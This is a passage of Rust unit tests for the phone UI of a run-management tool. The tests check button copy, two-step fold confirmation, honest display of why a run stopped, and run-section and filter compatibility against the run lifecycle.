13772
13773    #[test]
13774    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13775        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13776        let actions = INDEX_HTML
13777            .find("id=\"run-actions-box\"")
13778            .expect("actions box");
13779        assert!(task < actions, "the task entry comes first in the sheet");
13780        assert!(APP_JS.contains("renderRunTaskEntry"));
13781        assert!(APP_JS.contains("\"Open task \""));
13782        // A run without a task says why there is nothing to open.
13783        assert!(APP_JS.contains("started directly, no task"));
13784        assert!(APP_JS.contains("sheet-task-link"));
13785        assert!(APP_JS.contains("task-chip-link"));
13786    }
13787
13788    #[test]
13789    fn the_deck_never_sends_the_operator_to_a_terminal() {
13790        // The whole point of the phone UI is that a terminal is not needed.
13791        // The delete control used to answer with "Run `magi fold` first."
13792        assert!(
13793            !APP_JS.contains("Run `magi fold` first"),
13794            "the deck must offer the fold, not prescribe a shell command"
13795        );
13796        assert!(APP_JS.contains("foldRun:"));
13797        assert!(APP_JS.contains("resumeRun:"));
13798        assert!(APP_JS.contains("renderRunActions"));
13799
13800        // Folding is destructive and armed in two steps, like deleting.
13801        assert!(APP_JS.contains("armedFold"));
13802        assert!(APP_JS.contains("Yes, fold worktrees"));
13803
13804        // And the copy has to say that the two actions are opposites, because
13805        // folding throws away exactly what a resume would continue from.
13806        assert!(APP_JS.contains("can no longer be resumed"));
13807    }
13808
13809    #[test]
13810    fn a_finished_run_explains_itself_with_its_own_last_line() {
13811        // The deck used to answer "why did this stop?" with a sentence chosen
13812        // by status alone. Run e633 stalled because two judges answered with
13813        // the wrong JSON shape and its card said "The panel collapsed on
13814        // agent quota" - with `quota: []` in the record and a quota-loss
13815        // counter right above it that correctly said nothing.
13816        assert!(
13817            !APP_JS.contains("collapsed on agent quota"),
13818            "a stall must not be explained by a cause the deck did not check"
13819        );
13820        assert!(
13821            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13822            "and a block must not offer a guess with an `or` in it"
13823        );
13824
13825        // The reason it does have is `run.event`, which must reach finished
13826        // runs: gating it on movement hid the recorded truth at the one moment
13827        // the operator is reading the card to find out what happened.
13828        assert!(
13829            APP_JS.contains("setText(r.event, run.event || \"\")"),
13830            "the run's last line is rendered unconditionally"
13831        );
13832        assert!(
13833            !APP_JS.contains("moving && run.event"),
13834            "and never gated on the run still moving"
13835        );
13836
13837        // Quota keeps its own counter, fed by the number actually recorded.
13838        assert!(APP_JS.contains("lost to quota"));
13839    }
13840
13841    /// The runs tree (section) and the state chips (waiting/done) are two
13842    /// independent lenses ANDed together in `renderRuns`, and some pairings
13843    /// can never both be true for any run - every "Landed"/"Ended" run is
13844    /// done by construction, so pairing either with "Active" or "In flight"
13845    /// always rendered zero cards with the filter bar still claiming
13846    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
13847    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
13848    /// a handful of (waiting, status) shapes standing in for the run
13849    /// lifecycle, because `cargo test` cannot execute the front end.
13850    ///
13851    /// That stand-in list is itself the part that drifted twice in review:
13852    /// once shipped with `waiting: true` paired with a done status the
13853    /// lifecycle cannot produce, then over-corrected into treating every
13854    /// waiting run as never done - which made "Waiting on you" look
13855    /// incompatible with "Done" even for the one real, reachable shape
13856    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
13857    /// that combination. This test parses the shapes and the done-rule back
13858    /// out of `APP_JS`, reimplements `runSection` and the five state
13859    /// predicates independently in Rust, and checks the resulting
13860    /// section/filter compatibility table against the lifecycle rules by
13861    /// hand - so either direction of drift fails it again.
13862    #[test]
13863    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13864        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13865        let shapes_body_start =
13866            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13867        let shapes_close = APP_JS[shapes_body_start..]
13868            .find("].map(")
13869            .expect("the shape list is closed by its done-computing .map(...)")
13870            + shapes_body_start;
13871        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13872
13873        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13874        for entry in shapes_src.split('{').skip(1) {
13875            let waiting = entry.contains("waiting: true");
13876            let dead = entry.contains("live: \"dead\"");
13877            let status_at =
13878                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13879            let status_end = entry[status_at..]
13880                .find('"')
13881                .expect("the status string is closed")
13882                + status_at;
13883            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13884        }
13885        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13886
13887        // The done rule itself (`!["implementing"].includes(shape.status)`),
13888        // read out of the source rather than hardcoded, so a renamed
13889        // in-flight status can't silently make every parsed shape "done".
13890        let done_rule_marker = "done: !";
13891        let done_rule_at = APP_JS[shapes_close..]
13892            .find(done_rule_marker)
13893            .expect("the done rule follows the shape list")
13894            + shapes_close
13895            + done_rule_marker.len();
13896        let includes_at = APP_JS[done_rule_at..]
13897            .find(".includes(shape.status)")
13898            .expect("the done rule ends in .includes(shape.status)")
13899            + done_rule_at;
13900        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13901            .trim()
13902            .trim_start_matches('[')
13903            .trim_end_matches(']')
13904            .split(',')
13905            .map(|s| s.trim().trim_matches('"'))
13906            .filter(|s| !s.is_empty())
13907            .collect();
13908
13909        let shapes: Vec<(bool, String, bool, bool)> = shapes
13910            .into_iter()
13911            .map(|(waiting, status, dead)| {
13912                let done = !not_done.contains(&status.as_str());
13913                (waiting, status, dead, done)
13914            })
13915            .collect();
13916
13917        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
13918        // outright, then merged/ready land, stalled/blocked/failed/
13919        // verified_noop end, and everything else is still in flight.
13920        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13921            if waiting {
13922                return "waiting";
13923            }
13924            if dead
13925                && !matches!(
13926                    status,
13927                    "merged"
13928                        | "ready"
13929                        | "stalled"
13930                        | "blocked"
13931                        | "failed"
13932                        | "verified_noop"
13933                        | "superseded"
13934                        | "already_in_base"
13935                )
13936            {
13937                return "stale";
13938            }
13939            match status {
13940                "merged" | "ready" => "landed",
13941                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13942                | "already_in_base" => "ended",
13943                _ => "flight",
13944            }
13945        }
13946
13947        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
13948        // way.
13949        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13950            match filter_key {
13951                "active" => !done,
13952                "flight" => !done && !waiting && !dead,
13953                "stale" => !done && !waiting && dead,
13954                "waiting" => waiting,
13955                "done" => done,
13956                "all" => true,
13957                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13958            }
13959        }
13960
13961        let compatible = |section: &str, filter_key: &str| {
13962            shapes.iter().any(|(waiting, status, dead, done)| {
13963                run_section(*waiting, status, *dead) == section
13964                    && filter_matches(filter_key, *waiting, *dead, *done)
13965            })
13966        };
13967
13968        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
13969        // (active, flight, stale, waiting, done, all) - hand-derived from the
13970        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
13971        // currently contains.
13972        let expected = [
13973            ("waiting", [true, false, false, true, true, true]),
13974            ("stale", [true, false, true, false, false, true]),
13975            ("flight", [true, true, false, false, false, true]),
13976            ("landed", [false, false, false, false, true, true]),
13977            ("ended", [false, false, false, false, true, true]),
13978        ];
13979        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13980
13981        for (section, wants) in expected {
13982            for (filter_key, want) in filter_keys.iter().zip(wants) {
13983                assert_eq!(
13984                    compatible(section, filter_key),
13985                    want,
13986                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13987                );
13988            }
13989        }
13990
13991        // The compatibility check exists only to be acted on: both pickers
13992        // must actually consult it rather than just render its answer.
13993        assert!(
13994            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13995        );
13996        assert!(APP_JS.contains(
13997            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13998        ));
13999        assert!(APP_JS.contains(
14000            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14001        ));
14002    }
14003
14004    #[tokio::test]
14005    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14006        // An operator-named directory - git checkout or not - is never
14007        // second-guessed, even when it does not exist at all: only the
14008        // flag's own unmodified `.` default is ever eligible for discovery.
14009        let dir = tempfile::tempdir().expect("tempdir");
14010        let explicit = dir.path().join("not-a-checkout");
14011        std::fs::create_dir_all(&explicit).expect("create dir");
14012        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14013
14014        let missing = dir.path().join("does-not-exist-at-all");
14015        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14016    }
14017}